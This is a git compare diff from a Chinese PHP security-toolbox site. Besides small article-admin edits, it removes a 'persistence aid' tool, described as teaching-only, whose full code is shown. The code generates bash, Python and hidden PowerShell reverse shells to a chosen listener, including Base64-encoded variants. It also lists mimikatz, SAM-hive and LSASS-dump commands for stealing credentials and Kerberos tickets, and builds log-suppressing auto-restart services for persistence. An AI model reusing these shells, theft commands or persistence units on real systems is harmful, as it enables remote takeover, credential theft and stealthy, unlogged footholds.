Compare commits
No commits in common. "5168829c7567d4fed35fe6392566efad28b93d75" and "9e3b62a1ce8124c84387876ceed2efa972ae9d1a" have entirely different histories.
5168829c75
...
9e3b62a1ce
@ -61,7 +61,7 @@ if ($_SERVER['REQUEST_METHOD'] === 'POST') {
|
||||
$sort = max(0, (int)($_POST['sort'] ?? 0));
|
||||
$pinned = (isset($_POST['pinned']) && $_POST['pinned'] === '1') ? 1 : 0;
|
||||
$enabled = (isset($_POST['enabled']) && $_POST['enabled'] === '1') ? 1 : 0;
|
||||
if ($part === '' || $part === '__new__') {
|
||||
if ($part === '') {
|
||||
$part = '未分类';
|
||||
}
|
||||
if ($title === '') {
|
||||
@ -202,16 +202,14 @@ admin_topbar('articles');
|
||||
'summary' => (string)$row['summary'], 'md' => (string)$row['markdown'],
|
||||
'sort' => (int)$row['sort'], 'pinned' => (int)$row['pinned'], 'enabled' => (int)$row['enabled'],
|
||||
] : ['id' => 0, 'part' => '未分类', 'title' => '', 'summary' => '', 'md' => '', 'sort' => 0, 'pinned' => 0, 'enabled' => 1];
|
||||
// 分区下拉选项:未分类 + 全部已有分区;编辑中的自定义分区自动补充,保证能回显选中
|
||||
$curPart = trim((string)$cur['part']);
|
||||
if ($curPart === '') { $curPart = '未分类'; }
|
||||
$partOptions = ['未分类'];
|
||||
// 分区下拉建议(仅列已有分区)
|
||||
$partSuggest = [];
|
||||
foreach ($list as $a2) {
|
||||
$p2 = trim((string)$a2['part']);
|
||||
if ($p2 === '' || $p2 === '未分类') continue;
|
||||
if (!in_array($p2, $partOptions, true)) { $partOptions[] = $p2; }
|
||||
if ($p2 !== '' && !in_array($p2, $partSuggest, true)) {
|
||||
$partSuggest[] = $p2;
|
||||
}
|
||||
}
|
||||
if (!in_array($curPart, $partOptions, true)) { array_unshift($partOptions, $curPart); }
|
||||
?>
|
||||
<div class="fieldset-card">
|
||||
<div class="fs-title"><?= $cur['id'] ? '编辑文章 #' . $cur['id'] : '新增文章' ?></div>
|
||||
@ -222,14 +220,12 @@ admin_topbar('articles');
|
||||
<div class="field-row" style="flex-wrap:wrap">
|
||||
<div style="flex:1 1 200px;min-width:160px">
|
||||
<label class="fl">分区 / 栏目</label>
|
||||
<select name="part" id="artPartSel">
|
||||
<?php foreach ($partOptions as $po): ?>
|
||||
<option value="<?= he($po) ?>"<?= $curPart === $po ? ' selected' : '' ?>><?= he($po) ?></option>
|
||||
<input type="text" name="part" value="<?= he($cur['part']) ?>" placeholder="如:安全研究 / 随笔" list="artPartList">
|
||||
<datalist id="artPartList">
|
||||
<?php foreach ($partSuggest as $ps): ?>
|
||||
<option value="<?= he($ps) ?>">
|
||||
<?php endforeach; ?>
|
||||
<option value="__new__">+ 新建分区…</option>
|
||||
</select>
|
||||
<input type="text" id="artPartNew" placeholder="输入新分区名称,回车确认" style="display:none">
|
||||
<span class="tip" style="display:block;margin-top:4px">可直接下拉选择已有分区;需要新栏目时选「+ 新建分区…」并输入名称后回车。</span>
|
||||
</datalist>
|
||||
</div>
|
||||
<div style="flex:2 1 260px;min-width:200px">
|
||||
<label class="fl">文章标题</label>
|
||||
@ -369,59 +365,6 @@ admin_topbar('articles');
|
||||
xhr.send(fd);
|
||||
});
|
||||
})();
|
||||
(function () {
|
||||
'use strict';
|
||||
// 分区下拉:选择「+ 新建分区…」时切换为新分区名输入框,回车/失焦确认后回落
|
||||
var sel = document.getElementById('artPartSel');
|
||||
var inp = document.getElementById('artPartNew');
|
||||
var form = (sel && inp) ? sel.closest('form') : null;
|
||||
if (!sel || !inp || !form) return;
|
||||
function showSel() {
|
||||
sel.style.display = '';
|
||||
inp.style.display = 'none';
|
||||
}
|
||||
function acceptNew() {
|
||||
var v = inp.value.replace(/^\s+|\s+$/g, '');
|
||||
if (v === '') return false;
|
||||
var i, found = false;
|
||||
for (i = 0; i < sel.options.length; i++) {
|
||||
if (sel.options[i].value === v) { sel.selectedIndex = i; found = true; break; }
|
||||
}
|
||||
if (!found) {
|
||||
var opt = document.createElement('option');
|
||||
opt.value = v;
|
||||
opt.text = v;
|
||||
sel.appendChild(opt);
|
||||
sel.value = v;
|
||||
}
|
||||
inp.value = '';
|
||||
showSel();
|
||||
return true;
|
||||
}
|
||||
sel.addEventListener('change', function () {
|
||||
if (sel.value === '__new__') {
|
||||
sel.style.display = 'none';
|
||||
inp.style.display = '';
|
||||
inp.focus();
|
||||
}
|
||||
});
|
||||
inp.addEventListener('keydown', function (ev) {
|
||||
if (ev.key === 'Enter') {
|
||||
ev.preventDefault();
|
||||
if (!acceptNew()) showSel();
|
||||
}
|
||||
});
|
||||
inp.addEventListener('blur', function () {
|
||||
if (!acceptNew()) showSel();
|
||||
});
|
||||
form.addEventListener('submit', function (ev) {
|
||||
if (sel.value === '__new__' && !acceptNew()) {
|
||||
ev.preventDefault();
|
||||
showSel();
|
||||
sel.focus();
|
||||
}
|
||||
});
|
||||
})();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@ -14,7 +14,7 @@ $pdo = db();
|
||||
$noteText = setting_get('article_note', '');
|
||||
|
||||
// 全部可见文章(按 id 稳定取回,分区顺序取各分区首篇 id 序;分区内置顶 → sort → id)
|
||||
$all = $pdo->query('SELECT id, part, title, summary, pinned, sort, created_at, updated_at
|
||||
$all = $pdo->query('SELECT id, part, title, summary, sort, created_at, updated_at
|
||||
FROM articles WHERE enabled = 1 ORDER BY id ASC')->fetchAll();
|
||||
$rows = [];
|
||||
$partOrder = [];
|
||||
|
||||
@ -1,287 +0,0 @@
|
||||
/* persist.js —— 辅助维权(教学辅助)生成逻辑
|
||||
* 1) 反弹 Shell:按 Linux / Windows 目标机生成三组语句,每组「上为原句、下为 Base64 编码可执行版本」:
|
||||
* #1 普通反弹(bash / PowerShell)
|
||||
* #2 Python 2 反弹
|
||||
* #3 Python 3 反弹
|
||||
* 2) Linux 自启服务:按执行文件绝对路径生成 systemd unit 或 SysV init.d 脚本,
|
||||
* 均不落盘日志(stdout/stderr → null)且崩溃 3 秒后自动重启。
|
||||
* Windows 辅助区文本框为只读,高度随内容自适应、不可手动拉伸。
|
||||
* 仅教学辅助;默认示例为占位演示值。
|
||||
*/
|
||||
(function () {
|
||||
'use strict';
|
||||
|
||||
function $(id) { return document.getElementById(id); }
|
||||
|
||||
/* ---------- 工具函数 ---------- */
|
||||
function esc(s) {
|
||||
return String(s).replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>').replace(/"/g, '"');
|
||||
}
|
||||
function basename(p) {
|
||||
p = String(p || '').replace(/\\/g, '/').replace(/\/+$/, '');
|
||||
var i = p.lastIndexOf('/');
|
||||
return i >= 0 ? p.slice(i + 1) : p;
|
||||
}
|
||||
function segValue(seg) {
|
||||
var b = seg.querySelector('button.active');
|
||||
return b ? b.getAttribute(b.hasAttribute('data-mode') ? 'data-mode' : 'data-plat') : '';
|
||||
}
|
||||
function bindSeg(seg, onChange) {
|
||||
var btns = seg.querySelectorAll('button');
|
||||
for (var i = 0; i < btns.length; i++) {
|
||||
btns[i].addEventListener('click', function () {
|
||||
for (var j = 0; j < btns.length; j++) btns[j].classList.remove('active');
|
||||
this.classList.add('active');
|
||||
if (onChange) onChange();
|
||||
});
|
||||
}
|
||||
}
|
||||
function setMsg(id, html, isErr) {
|
||||
var box = $(id);
|
||||
box.innerHTML = html ? '<div class="' + (isErr ? 'err-msg' : 'ok-msg') + '">' + html + '</div>' : '';
|
||||
}
|
||||
function b64Ascii(text) { // ASCII → Base64(命令本身均为 ASCII)
|
||||
var bin = '';
|
||||
for (var i = 0; i < text.length; i++) bin += String.fromCharCode(text.charCodeAt(i));
|
||||
return btoa(bin);
|
||||
}
|
||||
function b64Utf16LE(text) { // UTF-16LE → Base64(PowerShell -enc 需要)
|
||||
var bytes = [];
|
||||
for (var i = 0; i < text.length; i++) {
|
||||
var c = text.charCodeAt(i);
|
||||
bytes.push(c & 255, c >> 8);
|
||||
}
|
||||
var bin = '';
|
||||
for (var j = 0; j < bytes.length; j++) bin += String.fromCharCode(bytes[j]);
|
||||
return btoa(bin);
|
||||
}
|
||||
function validIp(ip) {
|
||||
ip = String(ip || '').trim();
|
||||
if (!/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/.test(ip)) return false;
|
||||
var o = ip.split('.');
|
||||
for (var i = 0; i < 4; i++) { if (+o[i] > 255) return false; }
|
||||
return true;
|
||||
}
|
||||
function validPort(p) {
|
||||
p = String(p || '').trim();
|
||||
return /^\d{1,5}$/.test(p) && +p >= 1 && +p <= 65535;
|
||||
}
|
||||
/* 文本框高度自适应内容(.auto-ta 禁止手动拉伸) */
|
||||
function fitAuto() {
|
||||
var els = document.querySelectorAll('.auto-ta');
|
||||
for (var i = 0; i < els.length; i++) {
|
||||
els[i].style.height = 'auto';
|
||||
els[i].style.height = (els[i].scrollHeight + 2) + 'px';
|
||||
}
|
||||
}
|
||||
|
||||
/* ---------- 反弹 Shell 生成(a=普通 b=py2 c=py3,各带 64 编码版) ---------- */
|
||||
function buildLinux(ip, port) {
|
||||
var bash = 'bash -i >& /dev/tcp/' + ip + '/' + port + ' 0>&1';
|
||||
var py2 = 'python2 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);' +
|
||||
's.connect(("' + ip + '",' + port + '));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);' +
|
||||
'subprocess.call(["/bin/sh","-i"])\'';
|
||||
var py3 = py2.replace('python2', 'python3');
|
||||
return {
|
||||
titles: {
|
||||
a: '#1 普通反弹(bash · 现代发行版自带)',
|
||||
b: '#2 Python 2 反弹(python2 · 老版本系统自带)',
|
||||
c: '#3 Python 3 反弹(python3 · 现代发行版自带)'
|
||||
},
|
||||
notes: {
|
||||
a: '▼ 下方为 Base64 编码版(还原:echo 上方值 | base64 -d | bash)',
|
||||
b: '▼ 下方为 Base64 编码版(还原:echo 上方值 | base64 -d | python2)',
|
||||
c: '▼ 下方为 Base64 编码版(还原:echo 上方值 | base64 -d | python3)'
|
||||
},
|
||||
a: bash, a64: 'echo ' + b64Ascii(bash) + ' | base64 -d | bash',
|
||||
b: py2, b64: 'echo ' + b64Ascii(py2) + ' | base64 -d | python2',
|
||||
c: py3, c64: 'echo ' + b64Ascii(py3) + ' | base64 -d | python3'
|
||||
};
|
||||
}
|
||||
function buildWin(ip, port) {
|
||||
var ps = '$c=New-Object System.Net.Sockets.TCPClient(\'' + ip + '\',' + port + ');' +
|
||||
'$s=$c.GetStream();[byte[]]$b=0..65535|%{0};' +
|
||||
'while(($i=$s.Read($b,0,$b.Length)) -ne 0){' +
|
||||
'$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);' +
|
||||
'$r=(iex $d 2>&1|Out-String);' +
|
||||
'$s2=([text.encoding]::ASCII).GetBytes($r+\'PS \'+(pwd).Path+\'> \');' +
|
||||
'$s.Write($s2,0,$s2.Length);$s.Flush()};$c.Close()';
|
||||
// Python 载荷:代码内部全部使用单引号字符串,便于外层用双引号包裹
|
||||
function pyCode(sh) {
|
||||
return 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);' +
|
||||
's.connect((\'' + ip + '\',' + port + '));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);' +
|
||||
'subprocess.call([\'' + sh + '\'])';
|
||||
}
|
||||
var code2 = pyCode('cmd.exe');
|
||||
var code3 = pyCode('cmd.exe');
|
||||
var orig2 = 'python2 -c "' + code2 + '"';
|
||||
var orig3 = 'python3 -c "' + code3 + '"';
|
||||
return {
|
||||
titles: {
|
||||
a: '#1 PowerShell 反弹(Windows 内置,无需额外组件)',
|
||||
b: '#2 Python 2 反弹(需目标机已装 python2)',
|
||||
c: '#3 Python 3 反弹(需目标机已装 python3)'
|
||||
},
|
||||
notes: {
|
||||
a: '▼ 下方为 Base64 编码版(PowerShell -enc,规避引号与特殊字符)',
|
||||
b: '▼ 下方为 Base64 编码版(python2 -c 内置 base64 解码执行)',
|
||||
c: '▼ 下方为 Base64 编码版(python3 -c 内置 base64 解码执行)'
|
||||
},
|
||||
a: 'powershell -nop -w hidden -c "' + ps + '"',
|
||||
a64: 'powershell -nop -w hidden -enc ' + b64Utf16LE(ps),
|
||||
b: orig2,
|
||||
b64: 'python2 -c "import base64;exec(base64.b64decode(\'' + b64Ascii(code2) + '\'))"',
|
||||
c: orig3,
|
||||
c64: 'python3 -c "import base64;exec(base64.b64decode(\'' + b64Ascii(code3) + '\'))"'
|
||||
};
|
||||
}
|
||||
function renderRev() {
|
||||
var ip = $('revIp').value.trim();
|
||||
var port = $('revPort').value.trim();
|
||||
if (!validIp(ip)) { setMsg('revMsg', '请填写正确的监听 IPv4 地址。', true); return; }
|
||||
if (!validPort(port)) { setMsg('revMsg', '请填写 1-65535 的有效端口。', true); return; }
|
||||
var g = segValue($('revPlat')) === 'win' ? buildWin(ip, port) : buildLinux(ip, port);
|
||||
$('revA').value = g.a;
|
||||
$('revA64').value = g.a64;
|
||||
$('revB').value = g.b;
|
||||
$('revB64').value = g.b64;
|
||||
$('revC').value = g.c;
|
||||
$('revC64').value = g.c64;
|
||||
$('revTA').textContent = g.titles.a;
|
||||
$('revTB').textContent = g.titles.b;
|
||||
$('revTC').textContent = g.titles.c;
|
||||
$('revAN').textContent = g.notes.a;
|
||||
$('revBN').textContent = g.notes.b;
|
||||
$('revCN').textContent = g.notes.c;
|
||||
setMsg('revMsg', '', false);
|
||||
fitAuto();
|
||||
}
|
||||
|
||||
/* ---------- Linux 自启服务生成 ---------- */
|
||||
function svcName() {
|
||||
var n = $('lxName').value.trim();
|
||||
if (n) return n;
|
||||
return basename($('lxPath').value) || 'agent';
|
||||
}
|
||||
function systemdUnit(path, name) {
|
||||
return '[Unit]\n' +
|
||||
'Description=' + name + ' service\n' +
|
||||
'After=network.target\n' +
|
||||
'\n' +
|
||||
'[Service]\n' +
|
||||
'Type=simple\n' +
|
||||
'ExecStart=' + path + '\n' +
|
||||
'Restart=always\n' +
|
||||
'RestartSec=3\n' +
|
||||
'StandardOutput=null\n' +
|
||||
'StandardError=null\n' +
|
||||
'\n' +
|
||||
'[Install]\n' +
|
||||
'WantedBy=multi-user.target\n';
|
||||
}
|
||||
function initdScript(path, name) {
|
||||
return '#!/bin/sh\n' +
|
||||
'### BEGIN INIT INFO\n' +
|
||||
'# Provides: ' + name + '\n' +
|
||||
'# Required-Start: $remote_fs\n' +
|
||||
'# Required-Stop: $remote_fs\n' +
|
||||
'# Default-Start: 2 3 4 5\n' +
|
||||
'# Default-Stop: 0 1 6\n' +
|
||||
'# Short-Description: ' + name + '\n' +
|
||||
'### END INIT INFO\n' +
|
||||
'\n' +
|
||||
'DAEMON="' + path + '"\n' +
|
||||
'NAME="' + name + '"\n' +
|
||||
'PIDFILE="/var/run/' + name + '.pid"\n' +
|
||||
'\n' +
|
||||
'case "$1" in\n' +
|
||||
' start)\n' +
|
||||
' echo "Starting $NAME..."\n' +
|
||||
' (while :; do "$DAEMON"; sleep 3; done) >/dev/null 2>&1 &\n' +
|
||||
' echo $! > "$PIDFILE"\n' +
|
||||
' ;;\n' +
|
||||
' stop)\n' +
|
||||
' echo "Stopping $NAME..."\n' +
|
||||
' if [ -f "$PIDFILE" ]; then\n' +
|
||||
' KPID=$(cat "$PIDFILE")\n' +
|
||||
' pkill -P "$KPID" 2>/dev/null\n' +
|
||||
' kill "$KPID" 2>/dev/null\n' +
|
||||
' rm -f "$PIDFILE"\n' +
|
||||
' fi\n' +
|
||||
' ;;\n' +
|
||||
' restart)\n' +
|
||||
' "$0" stop\n' +
|
||||
' sleep 1\n' +
|
||||
' "$0" start\n' +
|
||||
' ;;\n' +
|
||||
' *)\n' +
|
||||
' echo "Usage: $0 {start|stop|restart}"\n' +
|
||||
' exit 1\n' +
|
||||
' ;;\n' +
|
||||
'esac\n' +
|
||||
'exit 0\n';
|
||||
}
|
||||
function renderService() {
|
||||
var path = $('lxPath').value.trim();
|
||||
var name = svcName();
|
||||
var mode = segValue($('lxMode')) === 'initd' ? 'initd' : 'systemd';
|
||||
var out = $('lxOut'), tips = $('lxTips');
|
||||
if (!path) {
|
||||
out.value = '';
|
||||
tips.textContent = '请先填写执行文件绝对路径。';
|
||||
return;
|
||||
}
|
||||
if (mode === 'systemd') {
|
||||
out.value = systemdUnit(path, name);
|
||||
tips.innerHTML = '安装:将上方内容写入 <code>/etc/systemd/system/' + esc(name) + '.service</code>(需 root),然后执行:<br>' +
|
||||
'<code>systemctl daemon-reload && systemctl enable --now ' + esc(name) + '</code><br>' +
|
||||
'说明:<code>Restart=always</code> 崩溃自动拉起;<code>StandardOutput/StandardError=null</code> 不产生、不落盘日志。';
|
||||
} else {
|
||||
out.value = initdScript(path, name);
|
||||
tips.innerHTML = '安装:将上方脚本写入 <code>/etc/init.d/' + esc(name) + '</code> 并赋予执行权限:<br>' +
|
||||
'<code>chmod +x /etc/init.d/' + esc(name) + '</code><br>' +
|
||||
'Debian/Ubuntu(低版本)注册开机自启:<code>update-rc.d ' + esc(name) + ' defaults</code><br>' +
|
||||
'CentOS/RHEL 旧版注册开机自启:<code>chkconfig --add ' + esc(name) + '</code><br>' +
|
||||
'启动服务:<code>service ' + esc(name) + ' start</code>(脚本内含崩溃后 3 秒自动拉起的看护循环)。';
|
||||
}
|
||||
}
|
||||
function downloadService() {
|
||||
var text = $('lxOut').value;
|
||||
if (!text) return;
|
||||
var name = svcName();
|
||||
var mode = segValue($('lxMode')) === 'initd' ? 'initd' : 'systemd';
|
||||
var fn = mode === 'systemd' ? name + '.service' : name;
|
||||
var blob = new Blob(['\ufeff' + text], { type: 'text/plain;charset=utf-8' });
|
||||
var url = URL.createObjectURL(blob);
|
||||
var a = document.createElement('a');
|
||||
a.href = url;
|
||||
a.download = fn;
|
||||
document.body.appendChild(a);
|
||||
a.click();
|
||||
document.body.removeChild(a);
|
||||
setTimeout(function () { URL.revokeObjectURL(url); }, 1500);
|
||||
}
|
||||
|
||||
/* ---------- 事件绑定 ---------- */
|
||||
bindSeg($('revPlat'), renderRev);
|
||||
bindSeg($('lxMode'), renderService);
|
||||
$('revGo').addEventListener('click', renderRev);
|
||||
$('revPort').addEventListener('keydown', function (ev) {
|
||||
if (ev.key === 'Enter') renderRev();
|
||||
});
|
||||
$('lxPath').addEventListener('input', renderService);
|
||||
$('lxName').addEventListener('input', renderService);
|
||||
$('lxGo').addEventListener('click', renderService);
|
||||
$('lxDown').addEventListener('click', downloadService);
|
||||
|
||||
/* 页面载入即展示默认示例(演示占位值)并自适应文本框高度 */
|
||||
renderRev();
|
||||
renderService();
|
||||
fitAuto();
|
||||
// 窗口宽度变化导致换行变化时重新自适应
|
||||
var rszT = null;
|
||||
window.addEventListener('resize', function () {
|
||||
if (rszT) clearTimeout(rszT);
|
||||
rszT = setTimeout(fitAuto, 150);
|
||||
});
|
||||
})();
|
||||
174
func/persist.php
174
func/persist.php
@ -1,174 +0,0 @@
|
||||
<?php
|
||||
/**
|
||||
* func/persist.php —— 辅助维权(教学辅助)
|
||||
* 仅面向内网教学 / 授权实验环境。三个模块:
|
||||
* 1) 反弹 Shell 构建:输入监听 IP / 端口,按 Linux / Windows 目标机分别生成三类语句
|
||||
* (普通反弹 / Python 动态 Shell / Base64 编码版本);
|
||||
* 2) Windows 辅助:SAM、SYSTEM 注册表配置单元提取、mimikatz 常用命令与票据提取参考;
|
||||
* 3) Linux 自启服务:输入执行文件绝对路径,生成 systemd(高版本)或 init.d(低版本)
|
||||
* 可编辑配置,默认不产生 / 不落盘日志且崩溃自动重启。
|
||||
*/
|
||||
$P = '../';
|
||||
require_once dirname(__DIR__) . '/includes/layout.php';
|
||||
require_once __DIR__ . '/_bar.php';
|
||||
|
||||
layout_head('辅助维权');
|
||||
func_bar('辅助维权');
|
||||
?>
|
||||
<style>
|
||||
.p-sec { margin-top: 16px; }
|
||||
.p-sec-head { display: flex; align-items: center; justify-content: space-between; gap: 8px; margin-bottom: 6px; }
|
||||
.p-sec-t { font-weight: 600; font-size: 14px; color: var(--text-2); }
|
||||
.p-sec textarea, .mono-ta { font-family: Consolas, Menlo, monospace; font-size: 13px; }
|
||||
.auto-ta { resize: none; overflow: hidden; min-height: 0; height: auto; }
|
||||
.b64-note { font-size: 12px; color: var(--text-3); margin: 6px 0 4px; }
|
||||
.p-sec code, .tip code { font-family: Consolas, Menlo, monospace; }
|
||||
</style>
|
||||
<main class="page-main">
|
||||
<div class="wrap page-body">
|
||||
<div class="panel-card">
|
||||
<h2>辅助维权 · 教学辅助</h2>
|
||||
<p class="tip">本工具<b>仅供内网教学 / 授权实验环境使用</b>,请勿用于任何未经授权的真实目标。
|
||||
三类输出全部在浏览器本地生成:① <b>反弹 Shell 构建</b>(Linux / Windows 目标机,含普通、Python 动态与 Base64 编码版本);
|
||||
② <b>Windows 辅助</b>(SAM / SYSTEM 提取、mimikatz 与常见票据提取参考语句);③ <b>Linux 自启服务</b>(systemd / init.d 配置生成,不落盘日志、自动重启)。
|
||||
示例 IP / 路径仅为演示占位,请替换为实验环境真实值。</p>
|
||||
</div>
|
||||
|
||||
<!-- 1) 反弹 Shell 构建 -->
|
||||
<div class="panel-card">
|
||||
<h2>反弹 Shell 构建</h2>
|
||||
<p class="tip">先在你自己的实验机上执行 <code>nc -lvnp 端口</code> 监听,再按目标机系统生成对应反弹命令在目标机执行。
|
||||
「IP」填你自己的监听机地址,「端口」与监听端口保持一致。</p>
|
||||
<div class="field-row" style="align-items:center;flex-wrap:wrap">
|
||||
<div class="seg" id="revPlat">
|
||||
<button type="button" data-plat="linux" class="active">Linux 目标机</button>
|
||||
<button type="button" data-plat="win">Windows 目标机</button>
|
||||
</div>
|
||||
<input type="text" id="revIp" value="10.0.0.1" placeholder="监听 IP(你的实验机)" style="flex:0 1 220px;width:220px">
|
||||
<input type="text" id="revPort" value="4444" placeholder="监听端口" style="flex:0 1 150px;width:150px">
|
||||
<button type="button" class="btn btn-primary" id="revGo">生成语句</button>
|
||||
</div>
|
||||
<div id="revMsg"></div>
|
||||
|
||||
<div class="p-sec">
|
||||
<div class="p-sec-head">
|
||||
<span class="p-sec-t" id="revTA">#1 普通反弹</span>
|
||||
<span style="display:inline-flex;gap:6px;flex-wrap:wrap">
|
||||
<button type="button" class="btn btn-sm js-copy" data-target="#revA">复制原句</button>
|
||||
<button type="button" class="btn btn-sm js-copy" data-target="#revA64">复制 Base64</button>
|
||||
</span>
|
||||
</div>
|
||||
<textarea id="revA" readonly class="mono-ta auto-ta"></textarea>
|
||||
<div class="b64-note" id="revAN">▼ 下方为 Base64 编码后的可执行版本</div>
|
||||
<textarea id="revA64" readonly class="mono-ta auto-ta"></textarea>
|
||||
</div>
|
||||
|
||||
<div class="p-sec">
|
||||
<div class="p-sec-head">
|
||||
<span class="p-sec-t" id="revTB">#2 Python 反弹</span>
|
||||
<span style="display:inline-flex;gap:6px;flex-wrap:wrap">
|
||||
<button type="button" class="btn btn-sm js-copy" data-target="#revB">复制原句</button>
|
||||
<button type="button" class="btn btn-sm js-copy" data-target="#revB64">复制 Base64</button>
|
||||
</span>
|
||||
</div>
|
||||
<textarea id="revB" readonly class="mono-ta auto-ta"></textarea>
|
||||
<div class="b64-note" id="revBN">▼ 下方为 Base64 编码后的可执行版本</div>
|
||||
<textarea id="revB64" readonly class="mono-ta auto-ta"></textarea>
|
||||
</div>
|
||||
|
||||
<div class="p-sec">
|
||||
<div class="p-sec-head">
|
||||
<span class="p-sec-t" id="revTC">#3 Python 反弹</span>
|
||||
<span style="display:inline-flex;gap:6px;flex-wrap:wrap">
|
||||
<button type="button" class="btn btn-sm js-copy" data-target="#revC">复制原句</button>
|
||||
<button type="button" class="btn btn-sm js-copy" data-target="#revC64">复制 Base64</button>
|
||||
</span>
|
||||
</div>
|
||||
<textarea id="revC" readonly class="mono-ta auto-ta"></textarea>
|
||||
<div class="b64-note" id="revCN">▼ 下方为 Base64 编码后的可执行版本</div>
|
||||
<textarea id="revC64" readonly class="mono-ta auto-ta"></textarea>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- 2) Windows 辅助 -->
|
||||
<div class="panel-card">
|
||||
<h2>Windows 辅助(凭据 / 票据提取参考)</h2>
|
||||
<p class="tip">以下命令均在目标机本地生成与落盘,需以<b>管理员 / SYSTEM 权限</b>执行,结果文件再拷贝到实验分析机解析。</p>
|
||||
|
||||
<div class="p-sec">
|
||||
<div class="p-sec-head">
|
||||
<span class="p-sec-t">SAM / SYSTEM 配置单元提取</span>
|
||||
<button type="button" class="btn btn-sm js-copy" data-target="#winHive">复制</button>
|
||||
</div>
|
||||
<textarea id="winHive" readonly class="mono-ta auto-ta" rows="7"># 在目标机(需管理员 / SYSTEM)当前目录保存注册表配置单元:
|
||||
reg save HKLM\SAM sam
|
||||
reg save HKLM\SYSTEM system
|
||||
reg save HKLM\SECURITY security
|
||||
|
||||
# 将 sam / system 拷贝回实验分析机后离线还原口令哈希:
|
||||
# secretsdump.py -sam sam -system system LOCAL
|
||||
# mimikatz.exe "lsadump::sam /system:system /sam:sam" exit</textarea>
|
||||
</div>
|
||||
|
||||
<div class="p-sec">
|
||||
<div class="p-sec-head">
|
||||
<span class="p-sec-t">mimikatz 常用提取语句</span>
|
||||
<button type="button" class="btn btn-sm js-copy" data-target="#winMimi">复制</button>
|
||||
</div>
|
||||
<textarea id="winMimi" readonly class="mono-ta auto-ta" rows="6">mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
|
||||
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
|
||||
mimikatz.exe "privilege::debug" "sekurlsa::msv" exit
|
||||
mimikatz.exe "privilege::debug" "sekurlsa::wdigest" exit
|
||||
mimikatz.exe "privilege::debug" "lsadump::lsa /patch" exit</textarea>
|
||||
</div>
|
||||
|
||||
<div class="p-sec">
|
||||
<div class="p-sec-head">
|
||||
<span class="p-sec-t">常见票据提取方法</span>
|
||||
<button type="button" class="btn btn-sm js-copy" data-target="#winTicket">复制</button>
|
||||
</div>
|
||||
<textarea id="winTicket" readonly class="mono-ta auto-ta" rows="9"># 1) 从内存导出会话票据(.kirbi 写入当前目录)
|
||||
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
|
||||
mimikatz.exe "privilege::debug" "kerberos::list /export" exit
|
||||
|
||||
# 2) LSASS 转储后离线分析(新版 Windows 建议先转储回分析机再解析)
|
||||
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
|
||||
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" exit
|
||||
|
||||
# 3) 注入 / 使用已导出票据
|
||||
mimikatz.exe "kerberos::ptt 1-40a0000-xxx.kirbi" exit
|
||||
# 备选 Rubeus:Rubeus.exe dump / triage / kerberoast / asktgt / ptt</textarea>
|
||||
<p class="tip" style="margin-top:6px">票据提取后可直接用于横向实验;离线解析需要在分析机上准备 mimikatz / impacket 等教学组件。</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- 3) Linux 自启服务生成 -->
|
||||
<div class="panel-card">
|
||||
<h2>Linux 自启服务配置生成</h2>
|
||||
<p class="tip">输入需要常驻的执行文件<b>绝对路径</b>,切换「高版本 systemd / 低版本 init.d」即时生成对应配置。
|
||||
生成内容均满足:<b>不产生 / 不落盘日志</b>(stdout、stderr 全部丢弃),<b>异常退出自动重启</b>(间隔 3 秒)。输出可在文本框内继续编辑。</p>
|
||||
<div class="field-row" style="align-items:center;flex-wrap:wrap">
|
||||
<input type="text" id="lxPath" value="/opt/demo/agent" placeholder="执行文件绝对路径,如 /opt/svc/bin/app" style="flex:2 1 360px">
|
||||
<input type="text" id="lxName" value="" placeholder="服务名(留空自动取文件名)" style="flex:1 1 220px">
|
||||
</div>
|
||||
<div class="field-row" style="margin-top:10px;align-items:center;flex-wrap:wrap">
|
||||
<div class="seg" id="lxMode">
|
||||
<button type="button" data-mode="systemd" class="active">高版本 systemd</button>
|
||||
<button type="button" data-mode="initd">低版本 init.d</button>
|
||||
</div>
|
||||
<button type="button" class="btn btn-primary btn-sm" id="lxGo">生成配置</button>
|
||||
<button type="button" class="btn btn-sm js-copy" data-target="#lxOut">复制</button>
|
||||
<button type="button" class="btn btn-sm" id="lxDown">下载文件</button>
|
||||
</div>
|
||||
<textarea id="lxOut" class="mono-ta" rows="17" style="margin-top:10px" placeholder="生成的配置内容将显示在这里,可继续编辑…"></textarea>
|
||||
<p class="tip" id="lxTips" style="margin-top:8px"></p>
|
||||
</div>
|
||||
</div>
|
||||
</main>
|
||||
|
||||
<?php layout_theme_fab(); ?>
|
||||
<?php layout_footer(); ?>
|
||||
<script src="../assets/js/common.js"></script>
|
||||
<script src="../assets/js/persist.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
@ -187,7 +187,6 @@ function db_init(PDO $pdo): void
|
||||
$extraTools = [
|
||||
['国密加解密', '🔏', 'SM2 非对称加解密 / SM3 摘要 / SM4 对称加解密(SM1 为不公开硬件算法)', 'gmcodec.php'],
|
||||
['IP 地址处理', '🌐', '提取日志中的全部 IPv4 并统计出现次数,再按内网 / CDN / 公网区分展示', 'ip.php'],
|
||||
['辅助维权', '🛠️', '反弹 Shell 构建 / Windows SAM·mimikatz·票据提取 / Linux 自启服务(systemd 与 init.d)', 'persist.php'],
|
||||
];
|
||||
$chkUrl = $pdo->prepare('SELECT COUNT(*) FROM func_tools WHERE url = ?');
|
||||
$insTool = $pdo->prepare('INSERT INTO func_tools (name, icon, description, url, is_external, enabled, sort) VALUES (?,?,?,?,0,1,?)');
|
||||
|
||||
Loading…
Reference in New Issue
Block a user